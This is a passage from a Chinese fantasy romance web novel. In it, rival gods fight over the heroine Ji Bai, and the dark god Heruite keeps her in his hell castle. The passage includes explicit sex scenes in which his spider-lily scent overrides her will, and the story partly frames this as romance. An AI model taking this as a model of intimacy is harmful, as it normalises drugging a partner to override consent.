他在安抚她,可这种安抚究竟是死前的怜悯与不舍,还是……还是真的信了她的话,心疼她的遭遇。 季白有些吃不准。 漫长的沉默过去后,头顶终于再次传来他的声音。 “她很爱撒谎。”他的声音不咸不淡,像是在平静地述说一段与他毫无关系的事,“她骗了我两次。” 涅塞斯嘴角的笑意深了深,往前走了一步张开双手想要接过赫瑞特怀里的季白。 “我就知道你不会上当。” “你已经被她骗过了两次了,定然不会再被骗第三次。” “她满口谎言,甚是狡猾,嘴上说着爱我们每一个,其实一直在想办法找寻……她之前失去的东西。” “我们不能再上她的当了。”涅塞斯的声音温润而又残忍,一句话就决定了她的生生世世,“比起一世的失去,生生世世的长久对我们来说最重要,不是吗?” 赫瑞特掀起眼皮看了涅塞斯一眼,抱着季白往后退了一步。 “我想你是理解错意思了。” “她是骗了我两次,可不代表别人也能骗我。” 赫瑞特自出生以来,就是狡诈的化身,谎言的代名词,从来只有他耍弄别人,而没有别人骗他的。 涅塞斯脸上的笑僵在脸上,不可置信地问:“你信了?” “这般拙劣的谎言,我不信你看不出来?” 赫瑞特挑眉轻笑:“我不信我最爱的人,难道信你吗?” “涅塞斯。”赫瑞特说,“我不管你想做什么,这一世,只要有我在,你休想动她。” “至于封印……”赫瑞特突然噤了声,用季白听不见的密语质问涅塞斯,“封印是我们四神一起做的,难道只有你一个知道封印松没松动吗?” 涅塞斯气笑了。 “色令智昏。” “你会后悔的,我已经看见了你回来找我的那一天。” 赫瑞特抱着季白转身就走,轻飘飘地丢下一句:“那你就等着那一天吧。” 直至赫瑞特带着她出了这片海洋,季白的心方彻底放回了肚子,她差点就以为赫瑞特要把她交给涅塞斯了。 季白想到赫瑞特刚刚说的事,觉得有必要解释一下就抬起头轻轻拽了拽赫瑞特的衣领。 “赫瑞特……我……我从来没有想过要骗你。” “我对你说的话都是真的。”季白说着就要把永恒之冠拿出来,“对了,我答应帮你取的永恒之冠也拿到了,我把它给你好不好?” 季白正要去取,却被赫瑞特按住了手。 “我不需要那样的东西。”他脸上的神色格外平静,一双绿色的眼眸直勾勾地盯着她,“所以……” “涅塞斯说的都是真的,你真的全都想起来了。” 114 第114章 在这片大陆的尽头,云与海相连接的地方生长着一棵上达天堂神宫,下达地狱深渊的树。 这棵树叶繁而无花无果,枝丫如月光般散发着淡淡光辉,风过时树叶晃动着传来恍若天籁的乐声。 一片晶莹的树叶飘然而落,眼看就要坠入地面,却被一双比雪还白的手接住了。 它是尤特树,生长在人类无法企及的地方,它的果实是世间万物,整个世界都在它的树梢诞生,而所谓的神明就是它孕育的第一批生命。 在世界初创时,所有神明都和乐融融地生活在这棵树上,可随着时光的推移,傲慢,战争,猜疑,谎言,嫉妒,背叛,弑亲,贪婪,如病毒般在这棵树上迅速蔓延。 神明相继陨落,到如今也只剩下他们四神了。 查奥斯抬起头看着眼前这棵比峰高,比山阔的树,他闭上眼把手放在树干上,转瞬间化为一道流光围绕着树干往树心钻去。 众人只知尤特树诞生了世界,却不知它深扎地下的根蔓还连接着其余的世界。 在一片如鲜血般炙热的花圃中翻滚着一只通体漆黑的狗,娇嫩的花在它的爪下化为了碎片,偶尔还懒洋洋地抬头咬上一口还未来得及开放的花苞。 反正主人也带不回神后了,这些花也没什么用处了,不如让它痛快地滚一滚。 正在翻滚的三头犬鼻尖微微动了动,随后蓦地站了起来,主人带人回来了? 它把神后抓回来了? 它撒了欢地奔出去,很快就看见它那近期心情郁郁的主人笑得比花还好看。 三头犬顿住脚步,不解地歪了歪头。 嗯…… 不太对劲。 上次主人还恶狠狠地说抓到她后要狠狠教训她,怎么……真抓到了以后,笑得比它……还像狗? “这是三头犬。”赫瑞特指着它介绍,“是我的宠物。” “三头犬?”季白不可思议地惊叫一声,她蹲下身子把面前的黑色小狗抱进怀里,“天呐,好可爱的小狗,它也太可爱了吧!完全不像传说中的那样可怕啊。” 三头犬直至被抱进怀中抚摸时,大脑都还处于宕机状态,威风凛凛了一辈子的它,从来没有人类敢把它抱在怀里抚摸。 可爱的小狗是在说它吗? 笑话,它拥有着堪比雄狮的强壮身体,大白鲨般锋利的牙齿,怎么会是可爱的小狗。 等等,它怎么变这么小了? 柔软的手掌轻揉着它的脑袋,随即一个香甜的吻就落了下来,亲得三头犬不自禁地摇了摇尾巴,但它很快又把摇动的尾巴定住。 不行,它可是威风凛凛,令无知凡人闻风丧胆的三头犬大人,若让其他恶魔看见它这幅模样,以后颜面何存,还怎么在地狱混? “不过它不应该有三个脑袋吗,怎么它只有一个脑袋?” “只有在战斗状态下它才会显露出三颗头,平时和正常的小狗没差别。” 三头犬彻底呆住,它的脑袋呢? 它引以为豪的三个脑袋呢? 没有三个脑袋的它还叫什么三头犬,不如叫一头犬算了。 它终是忍无可忍挣脱季白的怀抱对着赫瑞特狂吠。 “汪。”“汪汪。”“汪汪汪。” “我的脑袋呢,我牙齿呢,我强壮的身躯呢?” “还有……我怎么不会说话了?!” “它怎么叫了?”季白惊奇地问。 “哦,欢迎我们呢。” 赫瑞特阴恻恻暗含威胁的声音传入三头犬的脑中。 【你之前的样子太吓人了,我给你变可爱点,别吓着我老婆。】 三头犬:??? 主人,你还记得你之前的话吗? 你已经变成狗了。 求助,主人变成狗了,比它还舔该怎么办? 你说她是你老婆,她同意了吗? “真热情啊。” 无知的人类这么感慨道。 “好了。”赫瑞特捂住季白的眼睛,“不准看它了,看我。” 季白转过头看向赫瑞特,嘴角勾起一抹笑意,“怎么连小狗的醋也吃?” “嗯,吃。”赫瑞特蒙着季白的眼睛,吻上她的唇,“想要你的目光永远停在我身上。” 季白主动抱住赫瑞特,轻声应了一句,“好。” 三头犬歪头看着腻腻歪歪的两人,下一秒一股不知名的力量就拍了过来,推着它离开了此地。 汪,小气的主人。 深渊的光线并不明亮,但也绝不昏暗,天际被染得血红,好似永远身处在血色的残阳中。 赫瑞特牵着他朝那座华贵而又漂亮的城堡走去,城堡整体的色调是黑暗的,但搭配着血色蔷薇时,又增添了一股迷人的危险,让人忍不住想走进它一探究竟。 赫瑞特指着对岸漫山遍野的彼岸花,挑眉问道:“地狱的彼岸花是不是比什么鸢尾花漂亮多了?” “那花生得寡淡无味,一点香气也没,哪比得上浓艳芬芳的彼岸花。”赫瑞特话落动了动手指,一株开得浓艳的彼岸花脱离了花海朝他们飞奔而来,最后停在了他们面前。 赫瑞特如同绅士般伸手握住花枝献给季白,墨绿的眼睛好似最迷人昂贵的绿宝石,“彼岸花的花香会勾起人类这一生中最美好的回忆。” 季白低头轻嗅了一下,扑面而来的浓郁香气窜入鼻尖,带来一种神奇的奇妙感受,整个人的灵魂都好似从身体中飘了出来,带给她一种极乐的享受。 “怎么样?”赫瑞特的目光一瞬不移地盯着她,“喜欢吗?” 季白回过神看向赫瑞特,轻轻点了点头:“喜欢。” 她的目光落在彼岸花上,眼中闪过一缕淡淡的怀疑。 花的味道很好闻,甚至好闻到让人上瘾的程度,只是这么短短的一会功夫,她竟然想再闻一遍。 赫瑞特抬手将彼岸花插在她的发间,俯下身子拥住她,额头抵在她的额头,那双盯着她的绿眸好似在发光一样。 “喜欢,我就每天都采一株送给你慢慢闻。” 彼岸花浓郁的花香如雾气般将他们包裹环绕,呼吸间全是它的味道,闻得季白头脑发晕,眼中再没了其他,只剩眼前的人。 “好。”季白轻声应了一句,鼻尖又传来蛊惑人心的香味,好似是从赫瑞特的身上传来的。 她如同发现宝藏的寻宝人一般,整个人贴了上去,肌肤带来一种迫切的强烈的渴求,让她一刻也不想和他分开。 赫瑞特喘息着拥着她,下一瞬,两人就滚到了一张柔软的床上。 深渊里是没有日夜交替的,时间仿佛凝滞了一般,唯有那头三头犬已回来又出去,出去又回来了上百次,花圃里的坑挖了又埋,埋了又挖,反反复复几十次。 赫瑞特不在的时候,三头犬一般两三天才会埋一次。 浓郁的彼岸花香遍布房间的每一个角落,地板上散落着如鲜血般的彼岸花与凌乱的衣衫。 “宝贝的水,好甜。” 滚烫的手掌抚上她潮热的脸颊,脸颊红得像是地上的彼岸花,瞳孔因强烈的刺激而失焦与涣散。 赫瑞特喘息着盯着她,这张魅惑的脸上充斥着潋滟的水光,尤其是嘴角与鼻尖还残留着淡淡的白液。 “很喜欢对不对?”赫瑞特低下头吻她,“没有人会比我更了解你的喜好。” 他抱起她下了床随后轻轻放下她,从后扶住她的腰,把她的手搭在映照着夕阳的玻璃上。 “宝贝,扶好。” “我们再来一次好不好。” “你瞧,外面的花是不是很漂亮。” 季白的脑子被花香熏得昏昏沉沉,意识好似沉入了水底,只残留着属于身体的本能反应。 她想要逃出去,可意识又被无数花枝拖拽了回去,藤蔓嵌入她的骨血,勒得她发疼发麻,可又因毒素的介入她又从这疼痛中获取了难以抗拒的快乐。 她止不住地粗喘着最终一道蛊惑而又诱人的声音从头顶传来,声音好似化为了实质性的存在包裹着她的意识将她又拉了上来。 “宝贝还想要吗,真是一只贪嘴的小猫。” “我也很想满足你,可是宝贝的身体已经到达极限了。” 失焦的眼神再次得以聚拢,眼中映照着天边火红的残阳,那抹残阳与她刚来时一般无二,好似时间只过去了短短一会。 一双滚烫的手掌抚上她的下巴将她的脸朝后掰去,潮热的吻落在她的脸庞。 “在想什么?” 季白蹭了蹭他的手掌,轻声说:“我一直以为地狱是永无天日的黑暗,没想到它也有这么美的夕阳。” 赫瑞特将她的身子转了过来,面对面地亲吻她,嘴边是无比动人的情话。 “从前是黑暗,你来了,就亮了。” 难怪人类总是无法拒绝恶魔的诱惑,靠近它们靠近了坠落,也靠近走向死亡的极致欢愉。 季白靠在他的怀里,目光落在满地的花瓣上。 这些花一定有问题,如果赫瑞特一直用花控制着她的情潮,那么她别说去找什么魔偶了,恐怕连这间房间她都出不去。 不过这种事……初时很有乐趣,但做久了也就那样。 她就不信赫瑞特会有那么多的精力与乐趣可以拉着她一直做。 寂静的大殿回荡起清浅的脚步声,干净到反光的洁白地砖映照出来人俊美无铸的脸。 坐于王位的神明睁开眼,金色的眸子如一道利箭般射了出去。 “涅塞斯,你来这儿做什么?” “怎么,你和赫瑞特的联盟要维持不下去了?” 115 第115章 “联盟?”涅塞斯浅笑,“我和他从未有过什么联盟,若真有这么一个联盟的话,也是和你。” 泊里听了这话,嘴角微微向上扬了扬扯出一抹讥讽的笑意。 “吾可不记得,吾何时与你有过什么联系。” “难道你忘了我们四神的联盟吗,怎么能说没有联系呢?” 金色的眸子紧锁着他,眼中是如雪般的冰冷。 “涅塞斯,吾没空与你打哑谜,先前的事吾还未找你算账,吾今日不对你动手,你就该感谢吾的慈悲。” 涅塞斯抬眸直视泊里的视线,象征光明的神明冷得像冰,掌管天下水系的神明却如春光般温柔。 涅塞斯扬眸浅笑,好似是枝头朵朵绽放的春花,只不过在这盛景之下却隐藏着致命的杀机。 “光明神连自己深爱之人都想要杀掉,何况是我了。” 泊里的胸口蓦地剧烈起伏着,搭在神座边缘的手不自知地紧紧攥住,“你说什么?你有什么资格说吾?” “我敢做敢当,你呢,你敢承认吗?在深海的时候,你就没想过杀掉小白吗?” 泊里本就白皙的脸庞霎那间白得如纸一般,嘴唇轻轻抖动着说:“吾……没有,吾只是想带走她。” “泊里,你当时那双如太阳般的眸子被黑暗浸得比深渊还要黑。” 涅塞斯抬起脚一步步朝泊里逼近,每走一步就说一句话。 “承认吧,承认你早已和我们一样自私自利,承认你宁愿彻底毁了她也不愿看着她与别人在一起,承认你的爱根本不是你理想中的宽容与慈悲,承认你哪怕玉石俱焚,也做不到放手。” “你鄙夷我们,可你也早已成为了我们。” 涅塞斯的质问如锤子一般一锤又一锤地砸在他的心上,他始终不能接受这样的自己。 他曾无数遍地告诉信徒,爱是仁慈,是宽容,是给予,可他自己却像疯了一样地追逐一份不堪而又虚妄的爱。 为了得到她,他做尽了所有不齿的事情,无法克制的欲望与私心时时刻刻地与他的内心搏斗,他的灵魂好似被它们撕扯成两半,他有时候真的很想抱着季白一起去死,结束这永无止境的折磨。 “别说了!”泊里粗喘着怒吼一声,抬手一剑就将涅塞斯砍成了两半,可在人类眼中的致命伤,对于神明来说就好似是人类不小心擦破了点皮,没出血的那种。 涅塞斯嘴角含笑,被砍断的身体在下一秒又恢复成原样。 “泊里,你还是不能摆脱困住你的束缚。” “这样也好,如果有一天你真的变得和我们一样,该担心的反而是我们了。” “你到底要说什么?!” 涅塞斯气定神闲地在他面前站定,道:“你还记得尤特树和查奥斯吗?” 泊里微微皱了皱眉,不明白涅塞斯为何会突然提起尤特树。 这都是多少万年以前的事了。 “先前是我错了。”涅塞斯说,“我以为小白是封印出了问题恢复了记忆,其实她不是,是世外之人在帮她。” 涅塞斯嘴角勾出一抹悲凉又不甘地笑,“她早就打算舍弃这个世界,舍弃我们了。” “不可能!”泊里立刻打断涅塞斯的话,“想要突破屏障抵达其他世界何其艰难,就算是查……查奥斯在帮她?!” “难怪他当时竟也同意我们的计划,不对,就算是查奥斯也无法做到送季白的灵魂离开这儿。” 在诸神的时代就有神明试图脱离这个世界前往别的世界看看,然而无论是多么厉害的神明,在试图穿过屏障的一瞬间都会即刻烟消云散,连片灰也不曾留下。 泊里的眼神立时锐利地看向涅塞斯,“你是如何知晓有世外之人?涅塞斯,你编出这种谎话来骗吾,又打着什么鬼主意?” “我看见了。” 泊里*立即就要张口质问却被他的下一句话堵了回去。 “你忘了我的能力吗?” 每位神明都有其所长,如光明神擅长战斗治愈,如黑暗神擅长隐匿蛊惑,如海神的预言与智慧。 他的眼睛可以看见他们看不见的东西,耳朵可以听见他们听不见的东西。 在神明璀璨的时代时常有神明去找他预言,无论是多么离谱的结局,最终都一一兑现了。 有神说,涅塞斯的眼睛可以看透世间万物的过去与未来,因为看的太多所以世间诸事都不足以引起他的兴趣。 他总是笑吟吟地旁观着众神的崛起与陨落,像是游离在世界之外的人,但谁也不会想到这样的神竟会那般执拗地爱上……自然之神。 “你真的看见了?”泊里艰难地发问。 错失季白一世的痛苦已让他生不如死,他无法想象他要如何在一个没有季白的世界继续存活下去。 不,他不能失去她。 无论如何他也要留下她,泊里无比清晰地看见了那颗自私的充满情欲的心,可他不想再抵抗了。 涅塞斯微笑。 “我有撒谎的必要吗?” “你需要我做什么?” 季白低估了神明的体力,也低估了赫瑞特如狗见了肉骨头一般不知疲倦的兴趣。 偏偏这又是神明的世界,她连用腰酸腿疼做借口逃避都不行,他的神力会润泽着她的身体,神力运转一圈别说腰酸腿疼了,她甚至能再下去跑上十圈。 她也曾试过拒绝,说做得太多不想做了,可那无处不在的彼岸花又控制着她的情潮让她不受控制地贴向赫瑞特,不知疲倦地索求着,简直像是被鬼迷了窍。 “宝贝。” 季白难得抓住机会走出房门,她站在城堡的露台上透透气,掌心下的石栏还未焐热,一双手又从后抱了上来,不老实地抚摸着。 季白顿时虎躯一震,好似小猫听见虎叫一般。 “我……”季白不安地扭了扭,拒绝的话还没说完,就听沙哑的声音从她耳后传来,紧接着耳垂就传来湿润的触感。 “扭得这么厉害,宝贝是在邀请我吗?” 季白顿时涨红了脸。 不是羞得,是气得。 他到底是什么东西啊,吃不饱的狗吗?怎么能有人有如此强烈的欲望,就算再喜欢的事天天做,不停地做也会厌烦的吧?! 就算他是神明,身体好,可泊里和涅塞斯也没像他这样啊。 “不是!”季白字正腔圆一个字一个字地说,生怕赫瑞特不能感受到她强烈的拒绝,又不由分说地把她按在围栏上来一次。 这样的事,之前也不是没有发生过。 “我不想要,也没有在邀请你。” “不想啊……”赫瑞特吐出她的耳垂,放在腰间的手也老实了,看似是接受了她的拒绝,实则若有若无的吐息一直落在她的耳廓,微弱的气流带来阵阵痒意勾得人心酥酥麻麻的。 这是他惯用的招式,遭到拒绝后不会强来,但会若有若无的勾引她,让她受不了攀着他的腰求着他,他又会故意摆起架子装作一脸为难的样子说,可是宝贝刚刚说不要了,我不想要宝贝讨厌我之类的话,直至她说够情话,他才会按着她开始,一开始就没完了。 “宝贝真的不想吗,可是我好想宝贝,小赫瑞特也好想宝贝。” 季白对这套流程已是烂熟于心了,鼻尖又传来浓郁的花香撩拨着她的情欲,她重重咬了下唇试图让自己保持清醒,然而毫无作用。 意识再一次沉入深不见底的黑暗,浓郁的花香化作看不见的枝蔓将她的灵魂包裹禁锢。 开得正盛的花朵轻抚着她的肌肤,勾起身体最本能的欲念。 又再一次被控制了吗? 浑浑噩噩的脑子不甘心地想,她可以听见自己的声音,可以感受到滚烫的手掌对她肌肤的触碰。 留在外面的是她,但也不是她。 是一个只知情欲的她。 她听见自己又一次地对他哀求,卑微的求爱恨得她想要一巴掌扇在赫瑞特的脸上。 她闭上眼睛隔绝外界的一切,安抚着自己。 没关系,没关系。 虽然她还是不能控制自己的身体,但至少她现在意识是清楚的,比起第一次不知道好了多少倍。 只要慢慢来她总能逐渐对花香免疫夺回对身体的掌控权,季白安抚了自己一会后,心态非常良好的睁开了眼,甚至还开始数耳边的啪啪声默默计算着时间。 幸好这次的副本任务时间有五年,让她有充足的时间完成。 季白正数到九百七十二的时候,眼前却忽而闪过一缕蓝光刺激得她立即闭上了眼,随后就看见了一颗蓝色的珠子在黑暗中闪闪发光。 她顿时瞪大了眼,这不是她留在背包里的海洋之心吗? 怎么会出现在这儿?! 还没等她想明白呢,又见蓝光一闪,温暖祥和的力量包裹着她,下一瞬,她的眼前就是一张绯红浓艳的俊颜,绿色的眸子如玛瑙般兴奋地盯着她,脸上浸着一层水色,衬得他越发魅得动魄惊心。 季白缓了缓,抬手就一巴掌扇在了赫瑞特的脸上,寂静的房间传来一道清脆的响声,白净的脸颊上顿时多了一个鲜红的巴掌印。 赫瑞特的动作顿了顿,绿色的眸子如毒蛇般紧锁着她,上下探查的目光好似蛇在她的身上爬一般。 季白不可置信地瞪大了眼睛,她能控制自己的身体了? 赫瑞特嘴角勾起的笑意深了深,滚烫的手掌握住她的手腕再次放在自己的脸上,正好遮住了脸上红红的巴掌印,殷红的薄唇轻启。 116 第116章 “原来宝贝喜欢这样玩。” 滚烫的脸颊轻蹭着她的掌心带来酥麻柔软的触感。 “喜欢……就再打一下,大力点。”他侧过头用湿漉漉的红唇吻了下她的掌心,看她的眼神如同藏了一把小勾子般勾得人神魂颠倒。 变态。 季白在心中暗骂一声,但也没客气,抬手又打了他一巴掌。 鲜红的巴掌印与他眼角越来越红的春意交相辉映,他的呼吸变得越发急促沉重,低着头凑到季白面前细密地吻着她的脸庞,喉中溢出几声餍足的闷哼。 “打得爽吗?” “喜欢给我的身上留下印子?” “唔……宝贝的爱好和我一模一样,我也喜欢在宝贝的身上留下专属于我一个人的印记。” 眼看赫瑞特变得兴奋起来,季白连忙推开他。 “赫瑞特,等等,我有话和你说。” 赫瑞特微微挑了挑眉尾,伸手轻抚着季白的脸,“宝贝想和我说什么?” 抚着抚着他又面色绯红地贴了上来,与之一同袭来的是浓郁的花香,季白连忙推开他,赫瑞特墨绿色的眼眸静静盯着她,眼底闪过一丝诧异,随后往后退了些,看她的眼神中多了几分提起兴趣的玩味,就像心爱的玩偶突然有了自己的意识。 “赫瑞特,我来这儿这么久了,每天都在城堡里和你……我想出去走走。”季白知晓赫瑞特最受不了她夸他,因而就抱着他的胳膊开始撒娇说好话。 “求求你了,赫瑞特,你最好啦,就陪我出去逛逛嘛。”季白拽着他的胳膊说,“我来了这么久却连我们住的这座城堡都没有机会好好走一走看一看。” “赫瑞特,全天下最好最英俊最心软最厉害最聪明最威猛最高贵最洒脱最优雅的神明,你就答应我好不好?” 季白每说一个最,赫瑞特的嘴角就往上扬一个度,等季白说完,赫瑞特的嘴角都笑得合不拢了。 他倾身在季白的额头落下一个吻,挑眉笑道:“行,你想去哪儿?” 赫瑞特抓着她的手反复揉捏着,看她的眼神像是狼盯着肉一样,看得季白压根不敢和他对视,生怕下一秒他就会又和发情了一样扑上来。 “嗯,就先从城堡开始吧,今天逛城堡,明天带你去裂谷,后天去看熔浆,大后天……” 赫瑞特念念叨叨地帮季白把每一天的行程都想好了,压根不容季白思考,也不容她拒绝。 赫瑞特一边说着,一边打了个响指给他们两人换了一身华丽的衣裙,宽大繁复的裙摆上似是缀着整片星空,裙摆晃动间闪烁着漂亮的星光。 季白垂眸看了眼自己的衣裙,总有一种下一秒就要走进王宫参加宴会的感觉。 “喜欢吗?”赫瑞特换上了一身深色的晚礼服勾勒出他修长饱满的身形,尤其是胸口与臀部过于发达的肌肉衬得他越发性感。 他弯下腰对着季白行了一礼,伸出带着黑皮手套的手,“走吧,我的公主。” 季白看了他一眼,甜甜的笑了一下。 这个浮夸的家伙。 赫瑞特牵着她先从他们常住的这一层开始逛,时间一点点的过去,赫瑞特牵着季白正要往他的收藏室去,却突而面色一变,停下了脚步。 季白不解地看向赫瑞特。 “怎么了?” 赫瑞特很快又露出一抹与平常无异的笑,“一点小事。” 季白眨了眨眼没说话,看赫瑞特刚刚的样子可不像是小事的样子。 “宝贝,你先进去看,我有点事要处理,很快就能回来。” 季白抓着他的胳膊,装作依依不舍的样子撒娇道:“好,那你可要快点回来,我一个人留在这儿害怕。” 赫瑞特摸摸季白的头,“我会很快回来,别怕,这儿是我的住所,没有我的允许,没有其他恶魔敢来。” 季白点了点头。 赫瑞特握住她的手,在她的手背上亲了一下,推着她进了屋后从后揉了揉她的头,轻声说:“我走了。” 等季白再回过头时,果然不见赫瑞特的身影,这对于季白来说可是一个难得的好机会。 季白收回视线,迈步走进赫瑞特的收藏室,推门前她蓦地想起来了涅塞斯的房间,人骨制成的架子,冰冷的利刃,不腐的尸首。 纵然已经过去了很久,可季白每每想起,还是觉得脊背发凉。 赫瑞特的收藏室……不会也有那些奇奇怪怪的东西吧。 季白想到人类世界关于黑暗神的传闻,什么剥肤椎髓,食肉寝皮啊,什么嗜血成性,抽筋剥皮啊。 总之在光明神殿的统治下,赫瑞特的残忍名声说出去绝对是止小孩夜啼的程度,他的收藏室恐怕也没几件正常东西。 季白这么想着,在门口做了一个长呼吸,待做足了心理准备后,轻轻推开门看了进去。 门一开,季白就差点被闪瞎眼,她眯了眯眼看过去,顿时感觉自己的心理准备白做了…… 赫瑞特还真是一如既往的浮夸风格,房间里堆满各式各样的稀世珍宝,其中最多的就是闪闪发亮的珠宝钻石与几乎有人头那么大的夜明珠,季白看了一圈也算是明白赫瑞特的品味了。 若闪耀的他越喜欢,知道的知道房间的主人是神明,不知道的还以为是喜欢收集财宝的巨龙呢。 季白拎着裙摆小心翼翼地从名贵的珍宝中挤了进去,忍不住地想,赫瑞特的本体不会真的是巨龙吧? 屋子里宝物很多却没有想要的魔偶,甚至连个人偶都没有。 这魔偶到底是什么东西,一个富有魔力的布娃娃? 季白立时就想起了从前在现代看过的恐怖电影,不由感觉头皮发麻,她一边找一边在墙上敲敲打打希望能找出一道暗门来。 她在穿过一座巨型玉雕时,忽而感觉到一股若有若无的视线,季白立即回头看去,从玉雕的孔洞中好似看见了一个没有瞳孔的眼睛…… 漆黑的熔岩覆盖大地,遍布裂缝的地面上寸草不生,天空也暗得好似末日降临。 但在这片漆黑的大地上却忽有一段将地面一分为二的缝隙,缝隙很深如刀劈斧凿一般,最深处还沸腾着艳红的熔浆,熔浆翻滚间好似依稀可以看见在火海里挣扎的灵魂。 赫瑞特的身影凭空出现在裂缝的边缘,他抬眸朝对岸看去,就正巧对上涅塞斯的目光,至于他身边的泊里则闭着眼睛不知在想什么。 赫瑞特嘴角扯出一抹讥笑,“呦,难得看你们二位一起来我这儿。” “怎么,是打算和我抢人吗?” “这里是地狱。”赫瑞特手掌微抬,缝隙下的熔浆蓦地全部喷涌而出,在他们三人中间绽出一道璀璨夺目的火墙,“我保证,你们谁也带不走她。” 空气立时变得灼热起来,四溅的火星落在他们身上却又被一道无形的墙所阻碍。 泊里终于睁开眼看了赫瑞特一眼,眼中有一瞬间的不理解。 这家伙的打架方式永远都是那么的浮夸华丽,对他而言,打架最重要的是让对方死。 涅塞斯微不可闻地皱了皱眉。 他的本体是人鱼,本就不喜欢地狱无比干燥的空气,气温再一升高就更让他讨厌了。 “赫瑞特。”涅塞斯嘴角噙着亲和的笑意,“我们今天来不是和你抢人的,而是有很重要的事同你说,事关季白,你不可不听。” 赫瑞特挑了挑眉,手掌往下一按,熔浆又全部落入缝隙之中。 他轻嗤一声:“有很重要的事和我说?” 赫瑞特墨绿色的眸子朝泊里的方向看了一眼,眼睛是在笑着,可眼里全是冷漠与讥讽。 “看来真的是很重要的事了,连泊里都陪着你一起来了。” “不过……”赫瑞特话锋一转,“涅塞斯,我可不是泊里那样的蠢货,不会轻易上你的当。” 泊里眼眸闪了闪,看他的眼神是止不住的厌恶与憎恨,但今天他竟奇迹般的没有动手。 赫瑞特眼中闪过一缕狐疑,却又很快压了下去,快到好似什么都没有发生一样。 “赫瑞特。”涅塞斯脸上扔挂着他那招牌般的完美笑容,“你和小白也相处了很长一段时间了,在这段时间里,我不信你一点异样都没有发现。” 赫瑞特垂眸不语,他当然是发现了。 从他们离开海洋的那天,从突然失效的彼岸花,他知道季白不简单,也知道季白身上有秘密。 但那又如何,他不想追究,也不想探寻,他只求季白能留在他身边,哪怕多留一刻也好。 赫瑞特悠悠抬起头,“你们二个是在嫉妒这一世季白选了我吧?” “行了,又不是没有下一世了,你们两个下一世再努力不就行了。” “没有下一世了。” 涅塞斯这句声量不高的回答却震得赫瑞特的耳朵一阵发鸣,他强壮镇定的满不在乎地笑着。 “涅塞斯,封印松动的法子不好用了,现在又换法子来骗我交人了?” “不然你以为泊里为何会同我一起来地狱找你?” “赫瑞特,没有下一世了。”涅塞斯再一次说,“这一世的季白不仅恢复了之前的记忆还带有异世的记忆,只要她完成自己的使命就会彻底脱离这个世界,去一个你我再也无法触及的世界。” “赫瑞特,你以为她是因为爱你而跟你离开吗?错,她是为了取得她所需的东西才跟你离开,一旦她达成目的就会毫不留情地像抛弃我与泊里一样抛弃你,如果我没猜错的话,她要泊里的永恒之冠,要我的海洋之心,要你的魔偶。” 117 第117章 涅塞斯的话一字一句地落进赫瑞特的耳中,在听到异世的记忆时,赫瑞特的眼睛微微闪了下,但很快又恢复了平静,待涅塞斯全部讲完时,赫瑞特轻笑了一声。 “难为你又说了这么多,涅塞斯,直说吧,你究竟想要做什么?” “杀了季白取出她的灵魂送往天冥河再次转世吗?” 涅塞斯点了点头,正要说后面的话却突然被赫瑞特打断了话头。 “做梦!”赫瑞特冷声道,“我说了,今日有我在,你们谁也不能带走小白。” “我不管是封印松动,还是什么世外之人,我只要小白这一世陪在我身边。” “你们若想阻我,尽管试试!” 泊里已然没了耐心,他本就对赫瑞特恨之入骨,如今又见他油盐不进,立即冷声对涅塞斯道:“别和他废话了,吾直接杀了他,将小白夺回来。” “不可。”涅塞斯立即开口制止泊里,他压下声音对泊里说,“泊里,世外之人的实力远在你我之上,季白先前几次从我们手中逃走皆因有世外之人的帮助,若此时我们再起内讧,只能眼睁睁地看着季白永远的离开。” 泊里听到最后一句话时,眼中的怒火强压着平息了下去,手中快要显形的神剑又一点点地消了下去。 “泊里,小不忍乱大谋。” “待解决了世外之人,你与赫瑞特想如何拼命,我都不会拦着。” 等到他们真的解决了世外的危机,涅塞斯巴不得泊里与赫瑞特打个你死我活,到时候季白就只属于他一个人了。 涅塞斯与泊里的对话并没有刻意瞒着赫瑞特,因而对岸的赫瑞特听了个清清楚楚。 赫瑞特轻嗤了一声,对对岸的泊里道:“泊里,你是傻了吗?涅塞斯说什么你就信什么?” “他就打着挑拨离间的主意呢,巴不得我和你斗个你死我活,他坐收渔翁之利。” 涅塞斯回眸看向对岸的赫瑞特,湛蓝色的眼底闪烁着意味不明的情绪。 他的话已经说得很明白了,他不信赫瑞特没听懂。 就算他不肯信他的话,难道他也半点没有察觉出季白的异常吗? 他都明白,可他却还是不肯交出小白。 涅塞斯轻捻着指尖垂眸思索着,随后他似是想到了什么嘴角露出一抹讥讽的笑意。 想来是赫瑞特从前甚少得到过季白的喜爱,因而难得等到一次能相伴一生的机会,就怎么着都不肯放手了。 当真是……愚不可及。 “我知道。” 厚重而威肃的声音从涅塞斯耳边传来,他眉头微微一跳,转过头看向泊里,只见他薄唇轻启,又继续说道:“可渔翁是谁,还尤未可知。” 涅塞斯眼中闪过一缕厌烦,若非是世外之人过于强大,他也犯不着和他们同谋。 他们彼此相互忌惮,相互猜疑,相互嫉恨,一旦抓着机会都恨不能置对方于死地,想要他们团结一心,当真是比登天还要难。 “赫瑞特,涅塞斯有预言能力,更何况……”泊里顿了顿,“更何况你我不都见识过小白的古怪了吗?” “你当真要为这一寸之欢,而放弃永恒吗?” 赫瑞特喉间发出一声短促的笑,那双蛊惑人心的绿眸缓缓抬起眼尾的弧度似笑非笑,眼神却是轻蔑的。 “放弃永恒?泊里,什么是永恒?当下就是永恒。” 纵是神明也终有消亡的一天,未来太远了,谁能无比的肯定,谁又能稳操胜券的抵达呢,就算到了又要担心什么时候会失去。 太累了,太累了。 一世又一世的追逐,一世又一世的失败,让他精疲力尽,心灰意冷,他只要现在,只要能抓得住的现在。 泊里微微皱了皱眉,眼中是遮掩不住的鄙夷与厌憎。 他永远无法理解赫瑞特,他会计划一切,会为了自己的目标而不断地努力改变,可以放弃眼前的,去拥抱未来的。 可赫瑞特与他不同,早在神明璀璨的时代,这家伙就是头号的享乐派了。 他曾有一句话被人类听见后还广为流传,大意是:享受今天,明天会死。 这样的话在泊里看来无疑是离经叛道,引人坠落的。 “赫瑞特。”涅塞斯蓦地出声唤他,赫瑞特朝他的方向看了过去,只见他笑容可亲地问他,“你怎么确定你现在所拥有的是真的呢?” 赫瑞特微微皱了皱眉,正要说话却又被涅塞斯打断了。 “你不必与我们辩论什么是真,什么是假。” “若论嘴皮子我们谁也说不过你,我只问你一句,如果这是季白的最后一世,如果这一世过完她就会永远地消失在这个世界,而你,而你在与她相处的最后时光得到的却是一份虚假的,充满欺骗的爱,你真的会甘心吗?” 赫瑞特垂下眼帘不说话,看起来是要被涅塞斯说服了。 他不甘心。 